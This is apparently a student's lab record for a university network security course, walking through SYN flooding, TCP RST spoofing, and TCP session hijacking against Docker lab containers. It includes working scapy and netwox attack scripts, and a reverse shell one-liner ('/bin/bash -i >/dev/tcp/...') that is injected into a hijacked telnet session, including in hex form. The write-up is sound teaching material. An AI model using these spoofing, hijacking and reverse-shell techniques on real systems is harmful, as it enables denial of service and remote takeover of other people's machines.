【HUST】网安|计算机网络安全实验|实验一 TCP协议漏洞及利用
寫在最前:
實驗指導書已經寫得非常好了,這是我個人的實驗記錄,并沒有認真整理和記錄容易出問題的地方。只是免得以后忘了什么是netwox還得翻學習通。
文章目錄
- 涉及代碼的倉庫地址
- docker使用
- 建立實驗環境
- docker常用指令
- netwox工具使用
- netwox常用指令的編號
- 其他常用指令
- 任務1 SYN-Flooding攻擊
- 攻擊過程
- 不啟用cookie
- 打開cookie后
- 任務 2 : 針對 telnet 或 ssh 連接的 TCP RST 攻擊
- 攻擊過程
- netwox:
- scapy手動攻擊:
- scapy自動攻擊:
- 任務3,4常用指令說明
- 打斷會話劫持
- 反彈shell
- 任務 3,4 : 使用 TCP 會話劫持注入普通命令、創建反向 shell
- 攻擊過程
- 注入普通命令"ls\r\n"
- netwox:
- scapy:
- 反向shell
- netwox:
- scapy:
涉及代碼的倉庫地址
HUST計算機網絡安全實驗_Gitee
Github
docker使用
建立實驗環境
普通用戶: seed 密碼:dees
超級用戶:root 密碼:seedubuntu
Network(bridge):172.17.0.0/16:
server是已經創建好的,如果沒有,就按照創建User的方式創建。
創建user:
sudo docker run -it --name=user --hostname=user --privileged "seedubuntu" /bin/bash
我的ip:
Attacker:172.17.0.1 # 也就是虛擬機seed@VM
server:172.17.0.4
user:172.17.0.2
docker常用指令
打開或停止HostM:
sudo docker start/stop HostM
把HostM映射到bash中:
sudo docker exec -it HostM /bin/bash
查看當前docker有哪些:
sudo docker ps -a
關閉防火墻:
sudo iptables -F
netwox工具使用
Netwox是一款非常強大和易用的開源工
具包,可以創造任意的TCP/UDP/IP數據
報文。Netwox工具包中包含了超過200
個不同功能的網絡報文生成工具,每個工具
都擁有一個特定的編號。
指令格式:
netwox number 參數
具體命令可查:
netwox number --help
netwox常用指令的編號
運行netwox,輸入3,可以按照關鍵詞搜
素想要的工具。
? 76 Syn-flood工具
? 78 TCP RST攻擊
? 40 TCP會話劫持
? 0 退出netwox
其他常用指令
①telnet:
開啟telnet服務:
sudo /etc/init.d/openbsd-inetd restart # telnet服務啟動
sudo netstat -a | grep telnet # 查看telnet的運行狀態
連接服務器:
telnet 172.17.0.4
②cookie機制開關:
查看cookie是否開啟:
sysctl -a | grep cookie
關閉cookie機制:
sysctl net.ipv4.tcp_syncookies=0
打開cookie機制:
sysctl net.ipv4.tcp_syncookies=1
③wireshark:
新建終端,打開any網卡。
④查看當前的連接的狀態:
netstat -nat
任務1 SYN-Flooding攻擊
SYN flood 是DoS攻擊的一種。攻擊者使用假冒 IP 地址或故意不完成三次握手,利用 TCP 半開連接,預支資源。
本實驗目標是消耗服務器資源,服務器docker的ip是172.17.0.4。
三種實現形式:
①利用netwox工具
②利用scapy
③利用c代碼
攻擊過程
不啟用cookie
①netwox:攻擊機運行sudo netwox 76 172.17.0.4 -p 23。
用戶機嘗試用telnet連接,連接超時,失敗。意思是攻擊成功。
根據@qq_51639539 同學的補充,即使沒攻擊也可能telnet失敗,這是因為沒有啟動 ftp 和 telnet 服務器。參照實驗指導書第三頁的啟動ftp和telnet服務器的兩條命令。
因此,請確保你在沒攻擊的時候能夠成功 telnet,再進行攻擊、查看攻擊效果。
用戶機先建立連接,然后再打開攻擊。
新建用戶機終端運行netstat -nat查看連接狀態:
可以看到,攻擊后不影響原有的連接,但是無法新建telnet連接。
②scapy:修改給定腳本的目的地址,攻擊機運行sudo pip install scapy,然后攻擊機使用sudo python ./syn_flood.py運行攻擊腳本。
運行攻擊腳本、用戶機telnet嘗試連接如下圖(左)所示,wireshark截圖如下圖(右)所示。
可以看到,連接成功,攻擊效果不明顯。
觀察wireshark,這是因為python發包速度過慢,因此嘗試修改程序,將隨機函數刪掉,隨便寫個不隨機的遍歷函數,但是還是不行。
因此,我嘗試連續運行4個隨機的python程序,等待了一分鐘,再次建立連接,發現還是沒有攻擊成功。并且連接速度也沒有放慢太多。
此時我的虛擬機已經非常卡慢,故不再繼續嘗試。
運行的4個程序見下圖(左),攻擊的失敗結果見下圖(右)。
③c:修改腳本的目的地址,gcc編譯,攻擊機使用sudo ./syn_flood運行攻擊腳本。
用戶機嘗試用telnet連接,連接超時,失敗。意思是攻擊成功。
打開cookie后
以netwox攻擊為例。
下圖左側是攻擊機,正在運行netwox攻擊指令;右側,上方是服務機的cookie機制開啟情況,下方是攻擊后用戶機嘗試telnet連接服務機的情況。
可以看到,連接沒有失敗,并且不卡,說明cookie防御機制是有效的。
任務 2 : 針對 telnet 或 ssh 連接的 TCP RST 攻擊
攻擊過程
netwox:
(1)Wireshark截包截圖。netwox自動攻擊,所以該TCP報文信息用處不大。
(2)攻擊命令:sudo netwok 78 -d docker0。
(3)上圖是先建立連接再攻擊,攻擊成功,telnet連接異常中止,符合預期結果。
下圖是先攻擊再嘗試建立連接。可以看到,先是連接時就失敗了,再是連接成功后登錄時被打斷了。
scapy手動攻擊:
(1)Wireshark截包截圖。
關鍵信息:ip:172.17.0.2→172.17.0.4,port:59252→23,Seq:470998582。
(2)攻擊腳本:
#!/usr/bin/python3
from scapy.all import *
print("SENDING RESET PACKET.........")
ip = IP(src="172.17.0.2", dst="172.17.0.4")
tcp = TCP(sport=59252, dport=23,flags="R",seq=470998582)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)
攻擊命令:sudo python reset_manual.py。
(3)觀察和解釋:成功,符合預期。如下圖,圖中第二個t對應攻擊的tcp報文。當再輸入一個t時,顯示連接已經中止。
而且,使用wireshark抓取報文,可以看到我們偽造的RST報文成功發出、并阻礙了通信。
scapy自動攻擊:
(1)Wireshark截包截圖。
關鍵信息:ip:172.17.0.2→172.17.0.4,port:59296→23,Seq:107996481。
(2)攻擊命令見下圖左,攻擊腳本見下圖右。
其中攻擊腳本添加了一行判斷當前截獲的報文是否是RST報文,如果是則返回,以免截取到自己偽造的報文。
(3)觀察和解釋:
攻擊成功,攻擊結果如下圖所示。沒有阻斷telnet與服務器建立連接,但是打斷了登錄過程。
這和netwox運行時的部分情況也是一致的,由于建立連接的速度太快,python程序截獲到建立連接的TCP報文、并發送偽造的RST報文時,連接已經建立完畢,SEQ和偽造的RST報文對不上。所以是在登錄過程中被打斷,符合預期。
對應的RST報文在wireshark中截圖如下。
任務3,4常用指令說明
打斷會話劫持
會話劫持之后客戶端可能無響應,此時最好用任務2的RST打斷telnet會話,這樣就不用新建客戶端bash。
打斷方式:
sudo netwox 78 -d docker0
反彈shell
客戶端:nc -lvp 4567
服務端:
/bin/bash -i >/dev/tcp/172.17.0.1/4567 # 默認描述符1是標準輸出,意思是把當前的bash的輸出全部重定向到172.17.0.1:4567中
除了標準輸出,還可以把標準輸入(0)定向過來、錯誤輸出(2)定向過去。總得來說,指令如下:
/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1
任務 3,4 : 使用 TCP 會話劫持注入普通命令、創建反向 shell
攻擊過程
注:我認為 hijacking_auto.py 是 hijacking_manual.py 的拓展,而且netwox的過程和手動攻擊基本一致,沒有必要重復展示手動攻擊的效果,因此實施scapy攻擊時只描述自動攻擊及其腳本。
注入普通命令"ls\r\n"
netwox:
(1)Wireshark截包截圖:
下圖是最后一個Telnet報文。
關鍵信息:ip:172.17.0.4→172.17.0.2,port:59366→23,Next SEQ:863211564,ACK:430198591。
(2)攻擊命令:sudo netwox 40 -l 172.17.0.2 -m 172.17.0.4 -p 23 -o 59366 --tcp-seqnum 430198591 --tcp-acknum 863211564 --tcp-data "6c730d00" --tcp-ack。
注入的內容是"ls\r\n"。
(3)觀察和解釋:攻擊成功。
下圖是服務端返回的ls結果,顯示了服務器當前目錄下的文件和文件夾。
不過可惜的是,user用戶機對服務器的會話被干擾了,不能繼續會話,如下圖所示。
這是因為seq和ack順序關系被破壞。
我認為該工具應該可以、并且需要達到更好的效果:比如邊接收用戶機發來的訊息,邊允許攻擊機持續向服務器發送指令,這只需要設置兩個變量暫存seq和ack即可做到。
scapy:
(1)Wireshark截包截圖:
攻擊的是下面這張圖上的TCP報文,由于采取自動攻擊的方式,所以seq和ack的具體數值對程序編寫來說,并不重要。
(2)攻擊腳本:
#!/usr/bin/python3
from scapy.all import *
SRC = "172.17.0.2"
DST = "172.17.0.4"
PORT = 23
def spoof(pkt):
old_ip = pkt[IP]
old_tcp = pkt[TCP]
if(old_tcp.flags!="A"):
return
#############################################
ip = IP( src = old_ip.src,
dst = old_ip.dst
)
tcp = TCP( sport = old_tcp.sport,
dport = old_tcp.dport,
seq = old_tcp.seq,
ack = old_tcp.ack,
flags = "PA"
)
data = "ls\r\n"
#############################################
pkt = ip/tcp/data
send(pkt,verbose=0)
ls(pkt)
#quit()
f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)
出于謹慎,我將quit()注釋掉,并且只抓flags為A的報文,將自己偽造的報文的flags改成PA。
一方面是防止抓到自己偽造的報文造成不必要的循環;
另一方面是通過觀察,seq和ack符合需要的目標報文的flags往往是A,telnet報文的flags是PA,并且,不能斷定兩臺主機之間只有telnet通信有flags為A的報文,因此不妨將quit()注釋掉,多針對幾個ACK包。
(3)觀察和解釋:
用戶機運行telnet連接服務機并登錄,攻擊機運行python腳本,然后用戶機輸入一個回車,用于觸發腳本。
注意:用于觸發腳本的符號是回車,空格時服務器沒有正常執行ls指令,具體原因不明。后來做反向shell的時候,我使用空格觸發,卻成功了。
在wireshark中抓包可以看到我們偽造的報文,如下圖所示。
并且,可以進一步看到服務器運行ls時顯示的結果,如下圖所示。
反向shell
netwox:
(1)Wireshark截包截圖:
(2)攻擊命令:
先在攻擊機上運行nc -lvp 4567,對4567端口進行監聽,等待服務器主動反向shell。
然后用戶機和服務器建立telnet連接后,攻擊機運行如下指令:
sudo netwox 40 -l 172.17.0.2 -m 172.17.0.4 -p 23 -o 59418 --tcp-seqnum 656808919 --tcp-acknum 85195549 --tcp-data "2f62696e2f62617368202d69203e2f6465762f7463702f3137322e31372e302e312f3435363720323e263120303c26310d00" --tcp-ack
這條攻擊指令是利用TCP會話劫持運行/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1并回車。
運行的這條指令是把當前的bash的標準輸出、錯誤輸出全部重定向到172.17.0.1:4567中去,并把172.17.0.1:4567的輸入重定向成為當前bash的標準輸入。
(3)觀察和解釋:
下圖上方是攻擊機成功獲得服務器shell的截圖,下方是服務器響應"/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1"語句的wireshark抓包結果。
可以看到,攻擊機成功地能夠顯示標準輸出、錯誤輸出,并且還能將自己的輸入運行在服務機運行,也就是獲得了服務器的bash。
scapy:
(1)Wireshark截包截圖:
攻擊的是下面這張圖上的TCP報文,由于采取自動攻擊的方式,所以seq和ack的具體數值對程序編寫來說,并不重要。
(2)攻擊腳本:
#!/usr/bin/python3
from scapy.all import *
SRC = "172.17.0.2"
DST = "172.17.0.4"
PORT = 23
def spoof(pkt):
old_ip = pkt[IP]
old_tcp = pkt[TCP]
if(old_tcp.flags!="A"):
return
#############################################
ip = IP( src = old_ip.src,
dst = old_ip.dst
)
tcp = TCP( sport = old_tcp.sport,
dport = old_tcp.dport,
seq = old_tcp.seq,
ack = old_tcp.ack,
flags = "PA"
)
data = "/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1\r\n"
#############################################
pkt = ip/tcp/data
send(pkt,verbose=0)
ls(pkt)
#quit()
f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)
(3)觀察和解釋:
運行腳本后,在用戶機上輸入一個空格,然后腳本會監聽到這個輸入,并使用該序列號和ACK號偽造報文。
下圖上方為攻擊機運行腳本的截圖,下方為攻擊機開啟監聽后獲得服務器的shell的截圖。
偽造的報文成功發送,在wireshark中的抓包顯示如下圖。可以看到,發送了Data為"/bin/bash -i >/dev/tcp/172.17.0.1/4567 2>&1 0<&1\r\n"的報文。
總結
以上是生活随笔為你收集整理的【HUST】网安|计算机网络安全实验|实验一 TCP协议漏洞及利用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【MOOC】华中科技大学操作系统慕课答案
- 下一篇: 一个大对象引起的血案,GC的踩坑实录